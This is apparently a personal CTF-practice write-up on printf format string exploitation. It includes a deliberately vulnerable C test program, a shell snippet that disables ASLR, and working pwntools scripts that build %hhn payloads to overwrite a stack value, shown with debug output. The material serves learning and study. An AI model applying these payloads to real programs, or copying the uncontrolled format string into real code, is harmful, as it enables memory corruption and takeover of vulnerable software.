Intro on printf vulns
First of all, some links. printf
abuses have been extensively documented now,
see
https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/
for the infamous "web-server-in-a-single-printf-call" headline, which turns out
to just be a hardcoded shellcode that serves a hello world. We could have
actual turing machines in printf
calls.
- https://en.wikipedia.org/wiki/Uncontrolled_format_string
- https://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html
- https://cs155.stanford.edu/papers/formatstring-1.2.pdf
- https://www.cs.cornell.edu/courses/cs513/2005fa/paper.format-bug-analysis.pdf
These are all pretty good. I don't really get the stackpop / dummy-addr-pair / write-code concept of team teso's paper since in my experience I just needed address-list and write-code that would pop down address-list. Maybe it's just that I don't have anything to stackpop and did not understand the address-list correctly.
Now that I read more and experimented with that, it's rather dummy-addr-pair + stackpop + write-code, but I guess both ways can word as soon as you can get up to your addresses.
What I did during the previous days.
I addition to tremendously exciting work, I tried to reproduce locally what didn't work properly on the CTF server.
(useless C code removed)
Compiled that with disabled ASLR and writable relocations, as well, no stack cookies and stuff.
user@debian:~/pwn$ gcc test_printf.c -m32 -fno-stack-protector -Wl,-z,norelro -o test-printf -Wall -ansi -std=c99 -pedantic -ggdb && ./test-printf %08x.%08x
before : 12345678 (0xffffd16c)
0xffffd453 | 0 | 25 30 38 78 2e 25 30 38 | %08x.%08
0xffffd45b | 8 | 78 | x
after : 12345678 (0xffffd16c)
0xffffd170 | 0 | 35 36 35 35 36 35 32 62 | 5655652b
0xffffd178 | 8 | 2e 30 30 30 30 30 30 30 | .0000000
0xffffd180 | 16 | 30 00 00 00 00 00 00 00 | 0.......
0xffffd188 | 24 | 00 00 00 00 00 00 00 00 | ........
0xffffd190 | 32 | 00 00 00 00 00 00 00 00 | ........
0xffffd198 | 40 | 00 00 00 00 00 00 00 00 | ........
0xffffd1a0 | 48 | 00 00 00 00 00 00 00 00 | ........
0xffffd1a8 | 56 | 00 00 00 00 00 00 00 00 | ........
Finished.
For some reason, pwntools
' fmtstr_payload
doesn't work properly, which is
not far from what I have on some CTF server, where printed result of format
strings (%08x, %123n, etc) are interpreted as pointers.
user@debian:~/pwn$ valgrind ./test-printf $( python3 -c 'from pwn import *;sys.stdout.buffer.write(fmtstr_payload(2,{0xffffd16c:0x55445544},write_size="byte"))' )
==25499== Memcheck, a memory error detector
==25499== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==25499== Using Valgrind-3.16.1 and LibVEX; rerun with -h for copyright info
==25499== Command: ./test-printf %68c%11$hhn%12$hhn%17c%13$hhn%14$hhnl___n___m___o___
==25499==
before : 12345678 (0xfeffd05c)
0xfeffd341 | 0 | 25 36 38 63 25 31 31 24 | %68c%11$
0xfeffd349 | 8 | 68 68 6e 25 31 32 24 68 | hhn%12$h
0xfeffd351 | 16 | 68 6e 25 31 37 63 25 31 | hn%17c%1
0xfeffd359 | 24 | 33 24 68 68 6e 25 31 34 | 3$hhn%14
0xfeffd361 | 32 | 24 68 68 6e 6c d1 ff ff | $hhnl...
0xfeffd369 | 40 | 6e d1 ff ff 6d d1 ff ff | n...m...
0xfeffd371 | 48 | 6f d1 ff ff | o...
==25499== Invalid write of size 1
==25499== at 0x48C28A8: printf_positional (vfprintf-internal.c:2072)
==25499== by 0x48C3DAC: __vfprintf_internal (vfprintf-internal.c:1733)
==25499== by 0x48D6984: __vsnprintf_internal (vsnprintf.c:114)
==25499== by 0x48B30AD: snprintf (snprintf.c:31)
==25499== by 0x109592: vuln (test_printf.c:80)
==25499== by 0x109639: main (test_printf.c:98)
==25499== Address 0x20202020 is not stack'd, malloc'd or (recently) free'd
I guess it's the game. Gotta sort that out tomorrow, maybe.
Sorted it out !
Well, at least with manual output it works. I have printf copy verbatim my UUUU
paddings and addresses for no valid reason (we have room, heh), then proceed to
pass through the stack with some %08x stackpops and then write byte by byte
(%hhn
just writes a single byte, but we could have worked with the 4-bytes
writes of %n
, with some more calculations.
#!/usr/bin/env python3
from pwn import *
import sys
address = 0xffffd0dc
pad_length = 77
wanted = 0x75cafe34
wanted = p32(wanted)
payload = b''
for i in range(4):
payload += b'UUUU' + p32(address + i)
payload += b'b%08x'*5 # stackpop
sys.stderr.write(f'payload so far {len(payload)} : {repr(payload)}\n')
for i in wanted:
n = i
n = (n - pad_length) % 0x100
payload += bytes(f'%{n}u%hhn','ascii')
pad_length += n
sys.stdout.buffer.write(payload)
Output:
payload so far 57 : b'UUUU\xdc\xd0\xff\xffUUUU\xdd\xd0\xff\xffUUUU\xde\xd0\xff\xffUUUU\xdf\xd0\xff\xffb%08xb%08xb%08xb%08xb%08x'
before : 12345678 (0xffffd0dc)
0xffffd3ff | 0 | 55 55 55 55 dc d0 ff ff | UUUU....
0xffffd407 | 8 | 55 55 55 55 dd d0 ff ff | UUUU....
0xffffd40f | 16 | 55 55 55 55 de d0 ff ff | UUUU....
0xffffd417 | 24 | 55 55 55 55 df d0 ff ff | UUUU....
0xffffd41f | 32 | 62 25 30 38 78 62 25 30 | b%08xb%0
0xffffd427 | 40 | 38 78 62 25 30 38 78 62 | 8xb%08xb
0xffffd42f | 48 | 25 30 38 78 62 25 30 38 | %08xb%08
0xffffd437 | 56 | 78 25 32 33 31 75 25 68 | x%231u%h
0xffffd43f | 64 | 68 6e 25 32 30 32 75 25 | hn%202u%
0xffffd447 | 72 | 68 68 6e 25 32 30 34 75 | hhn%204u
0xffffd44f | 80 | 25 68 68 6e 25 31 37 31 | %hhn%171
0xffffd457 | 88 | 75 25 68 68 6e | u%hhn
after : 75cafe34 (0xffffd0dc)
0xffffd0e0 | 0 | 55 55 55 55 dc d0 ff ff | UUUU....
0xffffd0e8 | 8 | 55 55 55 55 dd d0 ff ff | UUUU....
0xffffd0f0 | 16 | 55 55 55 55 de d0 ff ff | UUUU....
0xffffd0f8 | 24 | 55 55 55 55 df d0 ff ff | UUUU....
0xffffd100 | 32 | 62 35 36 35 35 36 35 32 | b5655652
0xffffd108 | 40 | 65 62 30 30 30 30 30 30 | eb000000
0xffffd110 | 48 | 30 30 62 30 30 30 30 30 | 00b00000
0xffffd118 | 56 | 30 30 30 62 30 30 30 30 | 000b0000
0xffffd120 | 64 | 30 30 30 30 62 31 32 33 | 0000b123
0xffffd128 | 72 | 34 35 36 37 38 20 20 20 | 45678
0xffffd130 | 80 | 20 20 20 20 20 20 20 20 |
0xffffd138 | 88 | 20 20 20 20 20 20 20 20 |
0xffffd140 | 96 | 20 20 20 20 20 20 20 20 |
0xffffd148 | 104 | 20 20 20 20 20 20 20 20 |
0xffffd150 | 112 | 20 20 20 20 20 20 20 20 |
0xffffd158 | 120 | 20 20 20 20 20 20 20 00 | .
Finished.
Using dollars like pwntools do
Now, why can't we get this with pwntools
? Some more reading of pydoc
's
output and directly /usr/local/lib/python3.9/dist-packages/pwnlib/fmtstr.py
,
I ended up bruteforcing the "offset" parameter, to no avail.
Looks like even with a 0 offset there's some dollar magic picking the 9th element, the right offset should have been something like 6-ish given how I had to add 5 "stackpop" and one first %u to get into the write code above.
user@debian:~/pwn$ for i in $( seq 0 5 ) ; do echo $i ; ./test-printf $( python3 -c "from pwn import *;sys.stdout.buffer.write(fmtstr_payload($i,{0xffffd0fc:0x55445544},write_size='byte'))" ) ; done
0
before : 12345678 (0xffffd0fc)
0xffffd428 | 0 | 25 36 38 63 25 39 24 68 | %68c%9$h
0xffffd430 | 8 | 68 6e 25 31 30 24 68 68 | hn%10$hh
0xffffd438 | 16 | 6e 25 31 37 63 25 31 31 | n%17c%11
0xffffd440 | 24 | 24 68 68 6e 25 31 32 24 | $hhn%12$
0xffffd448 | 32 | 68 68 6e 61 fc d0 ff ff | hhna....
0xffffd450 | 40 | fe d0 ff ff fd d0 ff ff | ........
0xffffd458 | 48 | ff d0 ff ff | ....
Segmentation fault
1
before : 12345678 (0xffffd0fc)
0xffffd428 | 0 | 25 36 38 63 25 31 30 24 | %68c%10$
0xffffd430 | 8 | 68 68 6e 25 31 31 24 68 | hhn%11$h
0xffffd438 | 16 | 68 6e 25 31 37 63 25 31 | hn%17c%1
0xffffd440 | 24 | 32 24 68 68 6e 25 31 33 | 2$hhn%13
0xffffd448 | 32 | 24 68 68 6e fc d0 ff ff | $hhn....
0xffffd450 | 40 | fe d0 ff ff fd d0 ff ff | ........
0xffffd458 | 48 | ff d0 ff ff | ....
Segmentation fault
Here's how I sorted this out, with some trial and errors, just using dollars instead of using stackpops.
#!/usr/bin/env python3
from pwn import *
import sys
address = 0xffffd0ec
pad_length = 0x85 - 0x75
wanted = 0x75cafe34
wanted = p32(wanted)
payload = b''
for i in range(4):
payload += p32(address + i)
sys.stderr.write(f'payload so far {len(payload)} : {repr(payload)}\n')
for i in range(len(wanted)):
n = wanted[i]
offset = 6 + i
n = (n - pad_length) % 0x100
payload += bytes(f'%{offset}${n}u%{offset}$hhn','ascii')
pad_length += n
sys.stdout.buffer.write(payload)
Output:
payload so far 16 : b'\xec\xd0\xff\xff\xed\xd0\xff\xff\xee\xd0\xff\xff\xef\xd0\xff\xff'
before : 12345678 (0xffffd0ec)
0xffffd419 | 0 | ec d0 ff ff ed d0 ff ff | ........
0xffffd421 | 8 | ee d0 ff ff ef d0 ff ff | ........
0xffffd429 | 16 | 25 36 24 33 36 75 25 36 | %6$36u%6
0xffffd431 | 24 | 24 68 68 6e 25 37 24 32 | $hhn%7$2
0xffffd439 | 32 | 30 32 75 25 37 24 68 68 | 02u%7$hh
0xffffd441 | 40 | 6e 25 38 24 32 30 34 75 | n%8$204u
0xffffd449 | 48 | 25 38 24 68 68 6e 25 39 | %8$hhn%9
0xffffd451 | 56 | 24 31 37 31 75 25 39 24 | $171u%9$
0xffffd459 | 64 | 68 68 6e | hhn
after : 75cafe34 (0xffffd0ec)
0xffffd0f0 | 0 | ec d0 ff ff ed d0 ff ff | ........
0xffffd0f8 | 8 | ee d0 ff ff ef d0 ff ff | ........
0xffffd100 | 16 | 20 20 20 20 20 20 20 20 |
0xffffd108 | 24 | 20 20 20 20 20 20 20 20 |
0xffffd110 | 32 | 20 20 20 20 20 20 20 20 |
0xffffd118 | 40 | 20 20 34 32 39 34 39 35 | 429495
0xffffd120 | 48 | 35 32 34 34 20 20 20 20 | 5244
0xffffd128 | 56 | 20 20 20 20 20 20 20 20 |
0xffffd130 | 64 | 20 20 20 20 20 20 20 20 |
0xffffd138 | 72 | 20 20 20 20 20 20 20 20 |
0xffffd140 | 80 | 20 20 20 20 20 20 20 20 |
0xffffd148 | 88 | 20 20 20 20 20 20 20 20 |
0xffffd150 | 96 | 20 20 20 20 20 20 20 20 |
0xffffd158 | 104 | 20 20 20 20 20 20 20 20 |
0xffffd160 | 112 | 20 20 20 20 20 20 20 20 |
0xffffd168 | 120 | 20 20 20 20 20 20 20 00 | .
Finished.
Finally, the test code, a polyglot shell & C file.
And here's the polyglot C & shell code. I'm definitely going to re-use that ifdef polyglot trick later on.
#ifdef shell
# Just execute this .c code with bash and call it a day, lol.
echo "Checking ASLR & compiling."
set -x
[ ! $( cat /proc/sys/kernel/randomize_va_space ) -eq "0" ] && echo 0 | sudo tee /proc/sys/kernel/randomize_va_space && cat /proc/sys/kernel/randomize_va_space
gcc $0 -m32 -fno-stack-protector -Wl,-z,norelro -o test-printf -Wall -ansi -std=c99 -pedantic
./test-printf "%08x"
valgrind ./test-printf "%08x.%08x.%08x.%08x.%08x.%n"
exit 0
#endif
# define BUFFER_LENGTH 128
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
unsigned char hexchar(unsigned char x){return ((x+0x30)+((x>9)*0x27));}
unsigned char ch1(unsigned char x){if((x>0x1f)&&(x<0x7f)){return 32;}else{return hexchar(x>>4);}}
unsigned char ch2(unsigned char x){if((x>0x1f)&&(x<0x7f)){return x;}else{return hexchar(x%16);}}
unsigned char chsafe(unsigned char x){if((x>0x1f)&&(x<0x7f)){return x;}else{return '.';}}
unsigned int color(unsigned char x)
{
switch (x>>5) {
case 2:
if (((x-1)%0x20)<0x1b) { return 4+(x>0x60)*2;}
return 5;
case 3:
if (((x-1)%0x20)<0x1b) { return 4+(x>0x60)*2;}
return 5;
case 1:
if (x%0x30<10) {return 1;}
return 5;
default:
return 9;
}
}
void printbuffer(unsigned char * buffer, unsigned int l)
{
unsigned int i = 0;
unsigned int j = 0;
unsigned int step = 0x8;
//printf("%p | %4d | ", buffer, i);
for (i=0;i<l;i += step) {
if (i < l) {
printf("%p | %4d | ", buffer+i, i);
}
for (j=i;j<i+step;j += 1) {
if (j < l) {
printf("%02x ", buffer[j]);
} else {
printf(" ");
}
}
printf("| ");
for (j=i;j<i+step;j += 1) {
if (j < l) {
printf("\x1b[3%dm%c\x1b[0m",color(buffer[j]),chsafe(buffer[j]));
}
}
puts("");
}
}
int vuln(const char *format){
unsigned char buffer[BUFFER_LENGTH];
unsigned int value = 0x12345678;
memset(buffer, 0, BUFFER_LENGTH);
printf("before : %08x (%p)\n", value, (void *)&value);
printbuffer((unsigned char *)format, strlen(format));
snprintf((char * restrict)buffer, sizeof buffer, format);
printf("after : %08x (%p)\n", value, (void *)&value);
printbuffer((unsigned char *)buffer, sizeof buffer);
printf("Finished.\n");
return 0;
}
int main(int argc, char **argv){
/*
* echo 0 > /proc/sys/kernel/randomize_va_space
*
* -m32 -fno-stack-protector -Wl,-z,norelro
* gcc test_printf.c -m32 -fno-stack-protector -Wl,-z,norelro -o test-printf -Wall -ansi -std=c99 -pedantic
*/
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}